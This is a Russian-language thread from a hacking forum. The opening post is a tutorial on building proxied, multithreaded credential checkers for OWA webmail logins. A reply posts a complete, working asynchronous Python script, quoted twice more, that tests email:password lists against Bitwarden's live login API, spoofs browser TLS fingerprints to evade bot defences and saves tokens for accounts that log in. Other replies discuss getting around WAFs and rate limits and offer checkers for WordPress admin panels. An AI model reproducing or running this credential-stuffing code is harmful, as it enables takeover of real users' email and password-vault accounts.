• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Опять чекеры.. Или же как писать чекеры на запросах, с мультипоточностью, да и всем нужным!

germans

ripper
КИДАЛА
Регистрация
24.10.2023
Сообщения
119
Реакции
121
Гарант сделки
5
Пожалуйста, обратите внимание, что пользователь заблокирован
Авторствo: germans
Издательствo: xss.pro

К
ароче, чекеры, брутеры, и прочий хлам. Рынок не переполнен всем этим на удивление, к примеру я не увидел еще ни одного слитого/написанного в дар чекера owa-почт. Мы сегодня напишем с вами чекер на эти почты с мультипоточностью, подключением прокси и всем остальным. Разберемся сначала - 'а чо это такое ваши чекеры'. Если ответить вкратце и по сути, то программка, проверяющая входные данные на верность, самое банальное, что вы можете привести человеку в пример - так это проверка по алгоритму Луны, ведь у каждого человека есть банковская карточка и думаю, что человек сообразит быстро в тех ситуациях, которых он был. К примеру промахнулся циферкой, а ему уже кричат из-за всех щелей, что гавно. Уйдем от введения и перейдем к сути.
Писать мы будем на языке Python, с моего взгляда это самый комфортный язык для чекеров после Go. Не нужно выдумывать велосипеды и писать чекеры на плюсах, шарпах, ведь они никогда не были предназначены для таких целей.. У нас двa пути, а именно сам принцип - как проверять то?? Первый, наилучший вариант - это запросы, бесспорно, не нужно даже сравнивать это ни с чем другим, тут мы получаем максимальную скорость какая только возможна, кроме подключения к БД самого сервера, тут мы зависим только от качества наших проксей. Второй, наихудший вариант - эмуляция, тут я имею в виду эмуляция браузера/телефона/планшета и любого другого устройства, конечно нам не придется заморачиваться с защитой на запросах, но вы только представьте какая это маленькая скорость, сколько это ресурсов жрет??..- Представили, ресурсов дохренища, скорость нихренища. Этот вариант нас не устраивает, если мы конечно не мазохисты.

Перейдем ближе к разбору нашей цели, как я говорил ранее - это owa-почты. Для начала заходим кликаться с браузера, не забываем подключить инструменты разработчика (Dev Tools) тыкайте F12 и будем вам счастье.

1715535145077.png

Переходим в инструментах разработчика в раздел 'Сеть', пробуем залогиниться, отлавливаем запросы. И ищем нужный запрос именно нам, а конкретней где мы передаем почту и пароль.

1715535395541.png


Находим такой после успешного валида в нашу почту, теперь пора лезть в 'полезную нагрузку' aka Payload. Там мы увидим тело данных, которое передается. Так же не забываем отметить факт, что запрос у нас с методом POST.

1715535496000.png

Увидели какие данные передаются, все, чхать нам на это все, пора лезть в нашу IDE. Так как мы будем писать полнофункциональный чекер с мультипотоком, и всякими наворотами саму функцию чека вынесем отдельно. Я использую Visual Studio, но честно, вообще без разницы на это, пишите где вам удобно, хоть в блокноте.

1715536130237.png


Cам код функции, отвечающая за проверку. Маленькое разъяснение, что, кого, куда, зачем, почему. Импортируем библиотеку requests, она позволяет нам засылать запросы на сайт, ведь в начале мы решили, что будем действовать именно так, никак по другому. Создаем нашу функцию, которая будет принимать такие значение как url, username, password. Вешаем на это все блок try-except, который позволяет нам отлавливать ошибки, но мы будем его использовать как часть проверки. Session - это как профиль в любом антике грубо говоря, настроив один раз мы больше не паримся, так же сохраняются все cookie в эту самую сессию, что нам понадобится для проверки. После чего мы составляем нашу полезную нагрузку или же пейлод, исходя из скриншота на прошлой странице. В destination мы заменяем у ссылки '/auth/logon.aspx' на пустоту, ведь нам нужен домен, тут мы могли использовать библиотеку urlparse для большей точности, но пока остановимся на этом. Остальное кроме username и password заполняем как было указано в дате. После чего наша сессия отправляет post запрос на эндпоинт проверки, в ней так же заменяем конечную точку на нужную нам (указано раньше в инструментах разработчика). После самое важное, как же именно проверять.. Тут может быть множество дыр, можно проверять по тому на какую страницу нас заредиректит, по элементам в ответе, и так далее, но самым надежным способом будет проверять куки, которые нам возвращает. Тут мы уже никак не можем промахнуться как с проверкой на элементы, ведь там нас может просто закидывать на совершенной другой юрл, к примеру некоторые ова почты, редиректят на сайт майкрософт где надо зайти. По окончательным редиректам тоже спорный вопрос, может вылезти какая нибудь хрень, из-за которой постоянно будем получать невалид по тысяче раз. После получаем наш словарик с куки по session, пытаемся и извлечь кук 'cadata', который возвращается при валидном аккаунте. Если у нас не получается его извлечь, то мы выбиваемся в ошибку и функция возвращает False. Разобрали функцию самого чека, вернемся к нашей мультипоточности.
1715537973540.png


Мультипоточность вырисовываем из библиотеки concurrent.futures , импортируем класс ThreadPoolExecutor из нее, она позволяет нам создавать пул потоков, функции там будут выполняться асинхронно. Именно через него и работает наша мультипоточность. Executor.map принимает у нас функцию и объект, который будет обрабатываться, все это у нас лежит под 'tqdm', она позволит нам графически отображать прогресс нашей проверки, self.total_lines служит для tqdm, то есть сколько всего строк то, работает эта библиотека как на Linux, так и на Windows. max_workers служит для обозначения кол-ва потоков, пока медленно начинаем перетекать в основной функции main. Тут все довольно таки базово, рассказывать нечего, просим указать файл пока не будет он валидным, после чего такое же и с потоками. Читаем файл, и передаем его в класс Checker, который уже запустит нам все это дело.


1715538773828.png



Пример работы выше, думаю на этом стоит завершать статью. Всем благ, скрипт приложен в архиве файлом здесь.
 

Вложения

  • 1715537911278.png
    1715537911278.png
    49.6 КБ · Просмотры: 63
  • check.zip
    1.2 КБ · Просмотры: 77
Проблема в том что я даже не читая по коду могу сказать исходы которые вас ждут на других сайтах:

JA3, Header-Order check, Headers check, token/signature/etc generation, трапы которые могут подпортить репутацию всего IP на основе всего лишь одной оплошности, само IP которое может иметь смешные значения MTU/MSS/метадату (но найти адекватные довольно сложновато).

Так же если вы хотите избежать части из верхнего то просто используйте curl_cffi на питоне, аналоги есть и на других языках, допустим я ранее писал врапер под Go приложение которое просило мои запросы, но это медленнее и ужаснее с точки зрения удобства. (и используйте систему на воркерах с синхронностью что намного проще, эта система даже в документации к asyncio описана, в разделе с очередями если память не изменяет).

В принципе для новичков пойдет, но сверху вариации которые могут помешать вам в процессе и вы даже не поймете почему, остальное в основном понятно. Так же если на сайте есть защита и есть директива к v1, v2, v3 пробуйте менять версии, так тикток до сих пор обходится xD. Так же не бойтесь вырезать защиты.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Проблема в том что я даже не читая по коду могу сказать исходы которые вас ждут на других сайтах:

JA3, Header-Order check, Headers check, token/signature/etc generation, трапы которые могут подпортить репутацию всего IP на основе всего лишь одной оплошности, само IP которое может иметь смешные значения MTU/MSS/метадату (но найти адекватные довольно сложновато).

Так же если вы хотите избежать части из верхнего то просто используйте curl_cffi на питоне, аналоги есть и на других языках, допустим я ранее писал врапер под Go приложение которое просило мои запросы, но это медленнее и ужаснее с точки зрения удобства. (и используйте систему на воркерах с синхронностью что намного проще, эта система даже в документации к asyncio описана, в разделе с очередями если память не изменяет).

В принципе для новичков пойдет, но сверху вариации которые могут помешать вам в процессе и вы даже не поймете почему, остальное в основном понятно. Так же если на сайте есть защита и есть директива к v1, v2, v3 пробуйте менять версии, так тикток до сих пор обходится xD. Так же не бойтесь вырезать защиты.
я с тобой соглашусь, по этому попрошу Юзеров хсс предложить сайт на чек, попробуем обойти WAF, если конечно нет пути проще
 
Сделай bitwarden
Кинь валидные данные под хайд, я минимально посмотрел там капча вылезать не должна при логине, но на двухфакторке CaptchaBypassToken (я не знаю что у них это означает) она есть.

По факту я уже накидал рабочий за 5 минуток, можешь почекать если работает кайфуй.
Python:
from __future__ import annotations

import argparse
import base64
import hashlib
import json
import random
import typing
import asyncio
import pathlib
import uuid

import loguru

import curl_cffi.requests
from curl_cffi.requests import BrowserType
from rich.logging import RichHandler
from rich.progress import TaskID, Progress, SpinnerColumn, TimeElapsedColumn, MofNCompleteColumn

BITWARDEN_CLIENT, BITWARDEN_VERSION = "web", "2024.4.2"


def formatter(record: loguru.Record) -> str:
    basic_format = [
        "🚀 <cyan>{extra[name]}</cyan>",
        "<blue>{time:HH:mm:ss}</blue>",
        "<level>{message}</level>"
    ]
    return " | ".join(basic_format)


loguru.logger.remove()
loguru.logger.add(RichHandler(markup=True, show_time=False, show_path=False, show_level=False), format=formatter)
loguru.logger.add("console.log", rotation="500 MB")


def get_logger(name: str = "default", **extra: typing.Any) -> loguru.Logger:
    return loguru.logger.bind(name=name, **extra).opt(colors=True)


def make_prelogin_key(email: str, password: str, iterations: int) -> bytes:
    return hashlib.pbkdf2_hmac("sha256", password.encode("utf-8"), email.encode("utf"), iterations)


def encrypt_password(email: str, password: str, iterations: int) -> str:
    master_key = make_prelogin_key(email, password, iterations)
    local_master_key_hash = base64.b64encode(hashlib.pbkdf2_hmac(
        "sha256", master_key, password.encode("utf-8"), 2
    ))
    server_master_key_hash = base64.b64encode(hashlib.pbkdf2_hmac(
        "sha256", master_key, password.encode("utf-8"), 1
    ))
    return base64.b64encode(server_master_key_hash).decode("utf-8")


async def worker(
        output_path: pathlib.Path,
        proxy: str,
        queue: asyncio.Queue[tuple[str, str] | None],
        progress: Progress,
        task_id: TaskID,
        logger: loguru.Logger
) -> None:
    browser_type = random.choice([BrowserType.chrome, BrowserType.safari])
    async with curl_cffi.requests.AsyncSession(
            proxy=proxy,
            impersonate=browser_type,
            headers={
                "Bitwarden-Client-Name": BITWARDEN_CLIENT,
                "Bitwarden-Client-Version": BITWARDEN_VERSION,
                "Device-Type": "9" if browser_type.name == "chrome" else "17",
                "Priority": "u=1, i",
                "Referer": "https://vault.bitwarden.com/"
            }
    ) as session:
        while (data := await queue.get()) is not None:
            session.cookies.clear()
            email, password = data
            kdf_settings = (await session.post(
                url="https://vault.bitwarden.com/identity/accounts/prelogin",
                headers={
                    "Origin": "https://vault.bitwarden.com"
                },
                json={
                    "email": email
                }
            )).json()
            if kdf_settings["kdf"] != 0:
                logger.warning(f"Skipping {email} because KDF-settings unsupported by script.")
                queue.task_done()
                progress.advance(task_id=task_id, advance=1)
                continue
            grant_token_response = (await session.post(
                url="https://vault.bitwarden.com/identity/connect/token",
                headers={
                    "Auth-Email": base64.b64encode(email.encode("utf-8")).decode("utf-8"),
                    "Origin": "https://vault.bitwarden.com",
                },
                json={
                    "scope": "api offline_access",
                    "client": "web",
                    "deviceType": "9" if browser_type.name == "chrome" else "17",
                    "deviceIdentifier": str(uuid.uuid4()),
                    "deviceName": browser_type.name,
                    "grant_type": "password",
                    "username": email,
                    "password": encrypt_password(
                        email=email, password=password,
                        iterations=kdf_settings["kdfIterations"]
                    )
                }
            )).json()
            if "ErrorModel" in grant_token_response:
                logger.error(f"Can't login by credentials {email}:{password} "
                             f"due to \"{grant_token_response['ErrorModel']['Message']}\"")
            elif "error" in grant_token_response:
                logger.error(f"Can't login by credentials {email}:{password} "
                             f"due to error type: \"{grant_token_response['error']}\"")
            else:
                logger.success(f"Maybe success login for credentials {email}:{password} ({grant_token_response})")
                with output_path.open("a+", encoding="utf-8") as file:
                    file.write(f"{json.dumps(grant_token_response)}\n")
            queue.task_done()
            progress.advance(task_id=task_id, advance=1)


async def main(
        input_path: pathlib.Path,
        output_path: pathlib.Path,
        workers_count: int,
        proxy: str | None
) -> None:
    output_path.touch()
    queue: asyncio.Queue[tuple[str, str] | None] = asyncio.Queue()
    workers, logger = [], get_logger(name="main")
    with input_path.open("r", encoding="utf-8") as input_file:
        lines = list(filter(None, input_file.read().split("\n")))
    with Progress(SpinnerColumn(), *Progress.get_default_columns(), TimeElapsedColumn(),
                  MofNCompleteColumn()) as progress:
        task_id = progress.add_task(description="Emails processed", total=len(lines))
        for worker_id in range(1, workers_count + 1):
            workers.append(asyncio.create_task(worker(
                output_path=output_path, proxy=proxy,
                queue=queue, logger=get_logger(name=f"worker{worker_id}"),
                progress=progress, task_id=task_id
            )))
        for line in lines:  # no optimization here because we don't loading 500mb+ file
            email, password = line.split(":", 1)  # No problem here because u put first email, email can't contain :
            queue.put_nowait((email, password))
        await queue.join()
        for _ in range(workers_count):
            queue.put_nowait(None)
        await asyncio.gather(*workers, return_exceptions=True)
        logger.success("Script done.")


if __name__ == "__main__":
    argument_parser = argparse.ArgumentParser()
    argument_parser.add_argument("--input", type=pathlib.Path, required=True)
    argument_parser.add_argument("--output", type=pathlib.Path, default=pathlib.Path("output.txt"))
    argument_parser.add_argument("--workers", type=int, default=4, help="Number of workers")
    argument_parser.add_argument("--proxy", type=str, default=None, required=False)
    parsed_arguments = argument_parser.parse_args()
    asyncio.run(main(
        input_path=parsed_arguments.input,
        output_path=parsed_arguments.output,
        workers_count=parsed_arguments.workers,
        proxy=parsed_arguments.proxy
    ))



1715646186625.png

Добавлю еще что на credentials fkdksf3j@gmail.com:KMFOSEN9idj# сайт ловит "ахуй" и крашится на бекенде и фронте xD

Если будут ошибки просто иди к любому программисту из топика и попроси починить, ну либо если у меня снова будет время я исправлю.
 
Кинь валидные данные под хайд, я минимально посмотрел там капча вылезать не должна при логине, но на двухфакторке CaptchaBypassToken (я не знаю что у них это означает) она есть.

По факту я уже накидал рабочий за 5 минуток, можешь почекать если работает кайфуй.
Python:
from __future__ import annotations

import argparse
import base64
import hashlib
import json
import random
import typing
import asyncio
import pathlib
import uuid

import loguru

import curl_cffi.requests
from curl_cffi.requests import BrowserType
from rich.logging import RichHandler
from rich.progress import TaskID, Progress, SpinnerColumn, TimeElapsedColumn, MofNCompleteColumn

BITWARDEN_CLIENT, BITWARDEN_VERSION = "web", "2024.4.2"


def formatter(record: loguru.Record) -> str:
    basic_format = [
        "🚀 <cyan>{extra[name]}</cyan>",
        "<blue>{time:HH:mm:ss}</blue>",
        "<level>{message}</level>"
    ]
    return " | ".join(basic_format)


loguru.logger.remove()
loguru.logger.add(RichHandler(markup=True, show_time=False, show_path=False, show_level=False), format=formatter)
loguru.logger.add("console.log", rotation="500 MB")


def get_logger(name: str = "default", **extra: typing.Any) -> loguru.Logger:
    return loguru.logger.bind(name=name, **extra).opt(colors=True)


def make_prelogin_key(email: str, password: str, iterations: int) -> bytes:
    return hashlib.pbkdf2_hmac("sha256", password.encode("utf-8"), email.encode("utf"), iterations)


def encrypt_password(email: str, password: str, iterations: int) -> str:
    master_key = make_prelogin_key(email, password, iterations)
    local_master_key_hash = base64.b64encode(hashlib.pbkdf2_hmac(
        "sha256", master_key, password.encode("utf-8"), 2
    ))
    server_master_key_hash = base64.b64encode(hashlib.pbkdf2_hmac(
        "sha256", master_key, password.encode("utf-8"), 1
    ))
    return base64.b64encode(server_master_key_hash).decode("utf-8")


async def worker(
        output_path: pathlib.Path,
        proxy: str,
        queue: asyncio.Queue[tuple[str, str] | None],
        progress: Progress,
        task_id: TaskID,
        logger: loguru.Logger
) -> None:
    browser_type = random.choice([BrowserType.chrome, BrowserType.safari])
    async with curl_cffi.requests.AsyncSession(
            proxy=proxy,
            impersonate=browser_type,
            headers={
                "Bitwarden-Client-Name": BITWARDEN_CLIENT,
                "Bitwarden-Client-Version": BITWARDEN_VERSION,
                "Device-Type": "9" if browser_type.name == "chrome" else "17",
                "Priority": "u=1, i",
                "Referer": "https://vault.bitwarden.com/"
            }
    ) as session:
        while (data := await queue.get()) is not None:
            session.cookies.clear()
            email, password = data
            kdf_settings = (await session.post(
                url="https://vault.bitwarden.com/identity/accounts/prelogin",
                headers={
                    "Origin": "https://vault.bitwarden.com"
                },
                json={
                    "email": email
                }
            )).json()
            if kdf_settings["kdf"] != 0:
                logger.warning(f"Skipping {email} because KDF-settings unsupported by script.")
                queue.task_done()
                progress.advance(task_id=task_id, advance=1)
                continue
            grant_token_response = (await session.post(
                url="https://vault.bitwarden.com/identity/connect/token",
                headers={
                    "Auth-Email": base64.b64encode(email.encode("utf-8")).decode("utf-8"),
                    "Origin": "https://vault.bitwarden.com",
                },
                json={
                    "scope": "api offline_access",
                    "client": "web",
                    "deviceType": "9" if browser_type.name == "chrome" else "17",
                    "deviceIdentifier": str(uuid.uuid4()),
                    "deviceName": browser_type.name,
                    "grant_type": "password",
                    "username": email,
                    "password": encrypt_password(
                        email=email, password=password,
                        iterations=kdf_settings["kdfIterations"]
                    )
                }
            )).json()
            if "ErrorModel" in grant_token_response:
                logger.error(f"Can't login by credentials {email}:{password} "
                             f"due to \"{grant_token_response['ErrorModel']['Message']}\"")
            elif "error" in grant_token_response:
                logger.error(f"Can't login by credentials {email}:{password} "
                             f"due to error type: \"{grant_token_response['error']}\"")
            else:
                logger.success(f"Maybe success login for credentials {email}:{password} ({grant_token_response})")
                with output_path.open("a+", encoding="utf-8") as file:
                    file.write(f"{json.dumps(grant_token_response)}\n")
            queue.task_done()
            progress.advance(task_id=task_id, advance=1)


async def main(
        input_path: pathlib.Path,
        output_path: pathlib.Path,
        workers_count: int,
        proxy: str | None
) -> None:
    output_path.touch()
    queue: asyncio.Queue[tuple[str, str] | None] = asyncio.Queue()
    workers, logger = [], get_logger(name="main")
    with input_path.open("r", encoding="utf-8") as input_file:
        lines = list(filter(None, input_file.read().split("\n")))
    with Progress(SpinnerColumn(), *Progress.get_default_columns(), TimeElapsedColumn(),
                  MofNCompleteColumn()) as progress:
        task_id = progress.add_task(description="Emails processed", total=len(lines))
        for worker_id in range(1, workers_count + 1):
            workers.append(asyncio.create_task(worker(
                output_path=output_path, proxy=proxy,
                queue=queue, logger=get_logger(name=f"worker{worker_id}"),
                progress=progress, task_id=task_id
            )))
        for line in lines:  # no optimization here because we don't loading 500mb+ file
            email, password = line.split(":", 1)  # No problem here because u put first email, email can't contain :
            queue.put_nowait((email, password))
        await queue.join()
        for _ in range(workers_count):
            queue.put_nowait(None)
        await asyncio.gather(*workers, return_exceptions=True)
        logger.success("Script done.")


if __name__ == "__main__":
    argument_parser = argparse.ArgumentParser()
    argument_parser.add_argument("--input", type=pathlib.Path, required=True)
    argument_parser.add_argument("--output", type=pathlib.Path, default=pathlib.Path("output.txt"))
    argument_parser.add_argument("--workers", type=int, default=4, help="Number of workers")
    argument_parser.add_argument("--proxy", type=str, default=None, required=False)
    parsed_arguments = argument_parser.parse_args()
    asyncio.run(main(
        input_path=parsed_arguments.input,
        output_path=parsed_arguments.output,
        workers_count=parsed_arguments.workers,
        proxy=parsed_arguments.proxy
    ))



Посмотреть вложение 84522
Добавлю еще что на credentials fkdksf3j@gmail.com:KMFOSEN9idj# сайт ловит "ахуй" и крашится на бекенде и фронте xD

Если будут ошибки просто иди к любому программисту из топика и попроси починить, ну либо если у меня снова будет время я исправлю.
Расскажи пожалуйста, чем этот вариант лучше ?
 
Расскажи пожалуйста, чем этот вариант лучше ?
Не понятно лучше чего, но тут должен соблюдаться Headers Order, JA3, размеры фрейма и прочее. По факту я не проверял досконально этот сайт, просто сделал рабочую версию которой можно отчекать любой массив (желательно с прокси, просто потому что могут блокировать после входа из-за огромного наплыва трафика). Рейт лимит на вход вроде 500 запросов в 1 минуту.

Единственное что я не делаю в этом скрипте, не отправляю запрос который просто возвращает постоянно false, даже читая их фронт я не понял зачем оно вообще надо ;D

И на всякий уточню это bitwarden, а не outlook.
 
Не понятно лучше чего, но тут должен соблюдаться Headers Order, JA3, размеры фрейма и прочее. По факту я не проверял досконально этот сайт, просто сделал рабочую версию которой можно отчекать любой массив (желательно с прокси, просто потому что могут блокировать после входа из-за огромного наплыва трафика). Рейт лимит на вход вроде 500 запросов в 1 минуту.

Единственное что я не делаю в этом скрипте, не отправляю запрос который просто возвращает постоянно false, даже читая их фронт я не понял зачем оно вообще надо ;D

И на всякий уточню это bitwarden, а не outlook.
Просто, не так поставил свой вопрос XD, а так спасибо
 
я с тобой соглашусь, по этому попрошу Юзеров хсс предложить сайт на чек, попробуем обойти WAF, если конечно нет пути проще
можно такое сделать с чекером админок wp?
 
можно такое сделать с чекером админок wp?
Конечно можно, но я занят допустим, пускай ТС попробует, ну либо закажи просто у меня ;D
 
Пожалуйста, обратите внимание, что пользователь заблокирован
можно такое сделать с чекером админок wp?
скинь валид в лс
 
Конечно лютый +реп, но я бы юзал aiohttp для полной картины
Немного выше есть пример с более хорошей библиотекой нежели чем aiohttp/httpx.
 
Немного выше есть пример с более хорошей библиотекой нежели чем aiohttp/httpx.
да, requests хорошая библиотека, но все равно, aiohttp будет выполнять быстрее запросы потому что он асинхронный, нежели requests
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх